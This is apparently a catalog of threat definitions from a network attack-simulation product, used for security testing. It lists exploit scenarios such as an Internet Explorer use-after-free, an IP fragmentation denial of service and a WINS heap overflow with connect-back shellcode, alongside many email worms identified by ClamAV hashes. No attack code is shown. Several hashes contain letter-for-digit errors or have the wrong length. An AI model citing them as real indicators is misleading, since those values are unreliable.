Detailed Description:	This threat mimics the behaviour of a malicious SMTP server attempting to crash or cause code execution on a mail client sending email. This can be used with other attacks, such as redirection, to cause code execution on a client. SMTP servers typically listen on port 25. This threat is a client attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
CVEID:	CVE-2003-0852
OSVDB:	8332
Threat Package:	Standard
Threat File Name:	TSL20140610-23_Microsoft_Internet_Explorer_CVE-2014-0282_CInput_Use_After_Free.xml
Executive Description:	Microsoft Internet Explorer CVE-2014-0282 CInput Use After Free
Detailed Description:	A use after free vulnerability exists in Internet Explorer. The vulnerability is due to accessing a freed CInput object in memory. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2014-0282
OSVDB:	107851
Threat File Name:	incrementalFragAttack.xml
Executive Description:	Incremental Frag Attack Over and Over
Detailed Description:	This attack targets a flaw in the Windows IP fragmentation reassembly code. It sends a large number of fragments belonging to 50 IP packets. It sends in order, causing the fragment reassembly code to traverse long lists in its memory to remove and recreate a portion of the packet. Since the final packet (IP More Fragments == false) is never sent, this attack will waste CPU time until it is stopped. Most effective over 100 Mbit networks or faster.
Protocol Type:	IP
CVEID:	CVE-2004-0744
OSVDB:	8431
Threat Package:	Standard
Threat File Name:	qt_qtif_jpg.xml
Executive Description:	Quicktime Malformed QTIF Embedded JPEG
Detailed Description:	This threat causes Apple Quicktime to crash by Specifying an invalid length field. This threat typically comes from malicious websites over port 80. This is a client side attack that comes from the virtual server.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	wins_heap.xml
Executive Description:	MS04-045 WINS Heap Overflow Exploit
Detailed Description:	This threat affects the WINS service on all versions of Microsoft Windows that come with it. Shellcode attempts to get target to connect back to host 192.168.1.1 on port 666.
Protocol Type:	WINS
CVEID:	CVE-2004-1080
OSVDB:	12378
Threat Package:	Standard
Threat File Name:	telestream_flipmac_moab-01-27-07.xml
Executive Description:	Telestream Flip4Mac WMV Parsing Memory Corruption Vulnerability
Detailed Description:	This threat leverages a flaw in Telestream Flip4Mac's WMV parser via a maliciously crafted wmv file, that when opened will result in memory corruption on the affected system. Telestream Flip4Mac is a client application, this threat delivers the malicious file via a web server listening on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-0466
Threat Package:	Standard
Threat File Name:	Worm.White.A.dff252d3_IPv6.xml
Executive Description:	Email Virus Worm.White.A (IPv6 Version)
Detailed Description:	This is the email virus Worm.White.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: dff252d337a54d73c67e38bda06b72ec. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.SSIWG.a2769d93_IPv6.xml
Executive Description:	Email Virus VBS.SSIWG (IPv6 Version)

Detailed Description:	This is the email virus VBS.SSIWG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: a2769d93fb255b3ae63b79dd6bffe0. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Junkboat.a.5a0cd5c3.xml
Executive Description:	Email Virus Worm.Junkboat.a
Detailed Description:	This is the email virus Worm.Junkboat.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5a0cd5c3a3477fbdd16a460da684alad. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Bagle.AG.2.45c947ac.xml
Executive Description:	Email Virus Worm.Bagle.AG.2
Detailed Description:	This is the email virus Worm.Bagle.AG.2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 45c947ac18a925fb45c27139b30d761e. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.VBS.Pahi.B.13129193.xml
Executive Description:	Email Virus Wotm.VBS.Pahi.B
Detailed Description:	This is the email virus Wotm.VBS.Pahi.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 13129193ea585288e8bf4a391334f455. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Hobat.A.0dd3ef0f_IPv6.xml
Executive Description:	Email Virus Worm.Hobat.A (IPv6 Version)
Detailed Description:	This is the email virus Worm.Hobat.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0dd3ef0fce93d4b0d898feaed63a0f0f. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Desin.des.2f846684_IPv6.xml
Executive Description:	Email Virus Email-Worm.VBS.Desin.des (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.VBS.Desin.des as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Desin.des. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.Entice.A.a3f1c644.xml
Executive Description:	Email Virus VBS.Entice.A
Detailed Description:	This is the email virus VBS.Entice.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: a3f1c6448ab96df3802d5a81757ce02a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Bagle.AF.1d9b5f7c_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.AF (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.AF as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 1d9b5f7c639458dda7699612ee305fcc. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Trojan.VBS.Frekru.A.8245d806.xml
Executive Description:	Email Virus Trojan.VBS.Frekru.A
Detailed Description:	This is the email virus Trojan.VBS.Frekru.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8245d80681af850af635649d8a6220b3. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Sandra.san.9b897efa.xml
Executive Description:	Email Virus Email-Worm.Win32.Sandra.san
Detailed Description:	This is the email virus Email-Worm.Win32.Sandra.san as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Sandra.san. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Linn.lin.95fc28e0.xml
Executive Description:	Email Virus Email-Worm.VBS.Linn.lin
Detailed Description:	This is the email virus Email-Worm.VBS.Linn.lin as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Linn.lin. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Winext.a.a.63882596.xml

Executive Description:	Email Virus Email-Worm.Win32.Winext.a.a
Detailed Description:	This is the email virus Email-Worm.Win32.Winext.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Winext.a.a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Trojan.VBS.Frekru.A.7ce9e947.xml
Executive Description:	Email Virus Trojan.VBS.Frekru.A
Detailed Description:	This is the email virus Trojan.VBS.Frekru.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 7ce9e947b1d4e19eb2bebbf65ae27fee. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Anar.b.b.9ace2649_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Anar.b.b (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Anar.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Anar.b.b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Netav.A.8d56dc69_IPv6.xml
Executive Description:	Email Virus Worm.Netav.A (IPv6 Version)
Detailed Description:	This is the email virus Worm.Netav.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8d56dc690037fe42056076636971ecb4. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Merlin.a9a5de52_IPv6.xml
Executive Description:	Email Virus Worm.Merlin (IPv6 Version)
Detailed Description:	This is the email virus Worm.Merlin as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: a9a5de5236b337a724ed7bd5e47d101b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email

Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.VBS.Obi.f0c66ecf_IPv6.xml
Executive Description:	Email Virus Worm.VBS.Obi (IPv6 Version)
Detailed Description:	This is the email virus Worm.VBS.Obi as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f0c66ecfe750f4f740859c236e75f557. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Trojan.Downloader.Small-165.4449f495_IPv6.xml
Executive Description:	Email Virus Trojan.Downloader.Small-165 (IPv6 Version)
Detailed Description:	This is the email virus Trojan.Downloader.Small-165 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4449f495b216d6e2da568fd57b45fc33. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Vorgon.B.11622ebc.xml
Executive Description:	Email Virus Worm.Vorgon.B
Detailed Description:	This is the email virus Worm.Vorgon.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 11622ebc8d497446923cf2ab79alacb6. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Icecubes.A.0556976e_IPv6.xml
Executive Description:	Email Virus Worm.Icecubes.A (IPv6 Version)
Detailed Description:	This is the email virus Worm.Icecubes.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0556976eb438ac5f7ff2aa0e1e8db7f3. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.D-dll.a0c9ed58_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.D-dll (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.D-dll as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: a0c9ed58da4620a7395cbf05ec337639. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email

Threat File Name:	Worm.Junkboat.b.8ef82c44.xml
Executive Description:	Email Virus Worm.Junkboat.b
Detailed Description:	This is the email virus Worm.Junkboat.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8ef82c44e2f1404c97ad765a953473ed. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Sint.9457158a.xml
Executive Description:	Email Virus Worm.Sint
Detailed Description:	This is the email virus Worm.Sint as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 9457158ad9955af10c3922574b35bf32. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Merlin.b.71c0c1d5_IPv6.xml
Executive Description:	Email Virus Worm.Merlin.b (IPv6 Version)
Detailed Description:	This is the email virus Worm.Merlin.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 71c0c1d50b4b30e09e4877e5a554aa71. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Goround.gor.20a2a423_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Goround.gor (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Goround.gor as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Goround.gor. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.Z.853d9d8f_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.Z (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.Z as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 853d9d8fb616eel8b774c3c2e8953f4f. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.DDV.c.c.9blb30a4_IPv6.xml
Executive Description:	Email Virus Email-Worm.VBS.DDV.c.c (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.VBS.DDV.c.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.DDV.c.c. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.BadTrans.1.39c85a0d.xml
Executive Description:	Email Virus Worm.BadTrans.1
Detailed Description:	This is the email virus Worm.BadTrans.1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 39c85a0d847aa21c7dedd69dca7ae9bc. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Centar.A.35a0c808.xml
Executive Description:	Email Virus Worm.Centar.A
Detailed Description:	This is the email virus Worm.Centar.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 35a0c808a7424a8e321b0c2562998c31. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Bagle.AG.2.239644e3.xml
Executive Description:	Email Virus Worm.Bagle.AG.2
Detailed Description:	This is the email virus Worm.Bagle.AG.2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 239644e31ce940a25a8ca907feba0d19. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Sobig.C.6ffabb00.xml
Executive Description:	Email Virus Worm.Sobig.C
Detailed Description:	This is the email virus Worm.Sobig.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6ffabb00d059b6c4656ea20948ab42be. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Pics.76a3ab4c.xml
Executive Description:	Email Virus Worm.Pics
Detailed Description:	This is the email virus Worm.Pics as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 76a3ab4cc1ac6a8e9cb94e697053760b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP

Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Shuq.e.e.a7b6351e_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Shuq.e.e (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Shuq.e.e as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Shuq.e.e. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Mabutu.A.3.21c524fb_IPv6.xml
Executive Description:	Email Virus Worm.Mabutu.A.3 (IPv6 Version)
Detailed Description:	This is the email virus Worm.Mabutu.A.3 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 21c524fb80b39d7c756e6b8bb61c195d. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Predec.b.b.df178921.xml
Executive Description:	Email Virus Email-Worm.Win32.Predec.b.b
Detailed Description:	This is the email virus Email-Worm.Win32.Predec.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Predec.b.b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	W32.PrettyPark.28fa84c8_IPv6.xml
Executive Description:	Email Virus W32.PrettyPark (IPv6 Version)
Detailed Description:	This is the email virus W32.PrettyPark as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 28fa84c8e0799a79814d275f91b086b7. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.BWG.C.88b8c658.xml
Executive Description:	Email Virus VBS.BWG.C
Detailed Description:	This is the email virus VBS.BWG.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 88b8c658ff12611b20152682a409eaf1. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.SSIWG.3fb67d40_IPv6.xml
Executive Description:	Email Virus VBS.SSIWG (IPv6 Version)
Detailed Description:	This is the email virus VBS.SSIWG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 3fb67d40f9a80799ef41fb5a849c7001. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Scary.b4978dle.xml
Executive Description:	Email Virus Worm.Scary
Detailed Description:	This is the email virus Worm.Scary as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b4978dle7542eafdc7b3908a5f45b8a6. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Moncher.B.f7ef5aef_IPv6.xml
Executive Description:	Email Virus Worm.Moncher.B (IPv6 Version)
Detailed Description:	This is the email virus Worm.Moncher.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f7ef5aef14dc14e616ba2deb2c92d7e98. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Challenge.f95blad3_IPv6.xml
Executive Description:	Email Virus Worm.Challenge (IPv6 Version)
Detailed Description:	This is the email virus Worm.Challenge as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f95blad38d100602d8000198f0762f04. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W32.Ultratt.gz.aa389c47.xml
Executive Description:	Email Virus W32.Ultratt.gz
Detailed Description:	This is the email virus W32.Ultratt.gz as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: aa389c47e3c7a4c2c71af9aebc26b5f9. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Xanax.d.d.4d60863c_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Xanax.d.d (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Xanax.d.d as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Xanax.d.d. This attack is delivered via SMTP to a email server. (IPv6 Version)

Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Alcop.Gen.3.6dbdb716.xml
Executive Description:	Email Virus Worm.Alcop.Gen.3
Detailed Description:	This is the email virus Worm.Alcop.Gen.3 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6dbdb716859b6b5a47f10571cf2eabed. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Coronex.a.a.0bb8c80d_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Coronex.a.a (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Coronex.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Coronex.a.a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.AG.2.95ef42bd.xml
Executive Description:	Email Virus Worm.Bagle.AG.2
Detailed Description:	This is the email virus Worm.Bagle.AG.2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 95ef42bd46b432bfff07398e347faee62. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.Mesut.6955341a_IPv6.xml
Executive Description:	Email Virus VBS.Mesut (IPv6 Version)
Detailed Description:	This is the email virus VBS.Mesut as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6955341a7edd6675f6e8a79e2e33e287. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.VBS.MooD.c81495a1.xml
Executive Description:	Email Virus Worm.VBS.MooD
Detailed Description:	This is the email virus Worm.VBS.MooD as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c81495a120fe58efa2da7efcab25d063. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Qoma.b.b.9b33ab9e.xml
Executive Description:	Email Virus Email-Worm.VBS.Qoma.b.b
Detailed Description:	This is the email virus Email-Worm.VBS.Qoma.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Qoma.b.b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Quamo.qua.alf72232.xml
Executive Description:	Email Virus Email-Worm.Win32.Quamo.qua
Detailed Description:	This is the email virus Email-Worm.Win32.Quamo.qua as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Quamo.qua. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Trojan.Newapt.IWorm.8d8d94a1.xml
Executive Description:	Email Virus Trojan.Newapt.IWorm
Detailed Description:	This is the email virus Trojan.Newapt.IWorm as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8d8d94a1f6ded1ffef0d3ae0ba51f140. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Picris.7e4051e2_IPv6.xml
Executive Description:	Email Virus Worm.Picris (IPv6 Version)
Detailed Description:	This is the email virus Worm.Picris as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 7e4051e20c1a5f69a286828d1891109f. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Mydoom.S.4d46781c.xml
Executive Description:	Email Virus Worm.Mydoom.S
Detailed Description:	This is the email virus Worm.Mydoom.S as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4d46781c778cedf41975e46259562997. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Petik.1.175dbf33_IPv6.xml
Executive Description:	Email Virus Worm.Petik.1 (IPv6 Version)

Detailed Description:	This is the email virus Worm.Petik.l as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 175dbf33282ed471b62d616be435a03f. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.Kitro.D.77422aef.xml
Executive Description:	Email Virus VBS.Kitro.D
Detailed Description:	This is the email virus VBS.Kitro.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 77422aefaa714f9480f98d57ca848de9. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.JS.Crus.7453d64c.xml
Executive Description:	Email Virus Worm.JS.Crus
Detailed Description:	This is the email virus Worm.JS.Crus as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 7453d64c414059d4b575bdee493253f3. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Lassorm.06e877cf.xml
Executive Description:	Email Virus Worm.Lassorm
Detailed Description:	This is the email virus Worm.Lassorm as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 06e877cfdb0f6f75e0d1cec7fb975791. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Xanax.e.e.02506b10_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Xanax.e.e (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Xanax.e.e as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Xanax.e.e. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.SCO.A.53df3909_IPv6.xml
Executive Description:	Email Virus Worm.SCO.A (IPv6 Version)
Detailed Description:	This is the email virus Worm.SCO.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 53df39092394741514bc050f3d6a06a9. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W95.Hybris.PI.002.207169bb.xml
Executive Description:	Email Virus W95.Hybris.PI.002
Detailed Description:	This is the email virus W95.Hybris.PI.002 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 207169bb3935c53060ce8b4f3f39943a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Trojan.VBS.Lowjo.C.ff8153d5.xml
Executive Description:	Email Virus Trojan.VBS.Lowjo.C
Detailed Description:	This is the email virus Trojan.VBS.Lowjo.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ff8153d5968093a6da78c370ac57a8fe. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Trojan.IWorm.Gift.Anap.a6f5addd.xml
Executive Description:	Email Virus Trojan.IWorm.Gift.Anap
Detailed Description:	This is the email virus Trojan.IWorm.Gift.Anap as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: a6f5adddfe420782c9469a0625e9b2b56. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.HomePage.1.443c5c4c.xml
Executive Description:	Email Virus VBS.HomePage.1
Detailed Description:	This is the email virus VBS.HomePage.1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 443c5c4c2eea29c0855f09116d02c3b3. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Heath.c.c56e42a1.xml
Executive Description:	Email Virus Worm.Heath.c
Detailed Description:	This is the email virus Worm.Heath.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c56e42a1499e57bcdcf29492876b80b9. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Paukor.b.b.7629f68e_IPv6.xml

Executive Description:	Email Virus Email-Worm.Win32.Paukor.b.b (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Paukor.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Paukor.b.b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.Platnico.955ab5ea.xml
Executive Description:	Email Virus VBS.Platnico
Detailed Description:	This is the email virus VBS.Platnico as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 955ab5ea35f362e508efdc3709ebb397. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.LoveLetter.A.84e4510a.xml
Executive Description:	Email Virus VBS.LoveLetter.A
Detailed Description:	This is the email virus VBS.LoveLetter.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 84e4510aec4d76c5d431ab32d7458f8c. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Desos.b.b.5cef527d_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Desos.b.b (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Desos.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Desos.b.b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Without.c.b69622e8.xml
Executive Description:	Email Virus Worm.Without.c
Detailed Description:	This is the email virus Worm.Without.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b69622e85785ccc48dbd320c1443326f. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.SomeFool.Y.5d7c0dc3_IPv6.xml
Executive Description:	Email Virus Worm.SomeFool.Y (IPv6 Version)
Detailed Description:	This is the email virus Worm.SomeFool.Y as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5d7c0dc34fca6897fb64248580cdfcf9. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Hanged.490dbb43_IPv6.xml
Executive Description:	Email Virus Worm.Hanged (IPv6 Version)
Detailed Description:	This is the email virus Worm.Hanged as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 490dbb430f8f27af102c06a635032d78. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
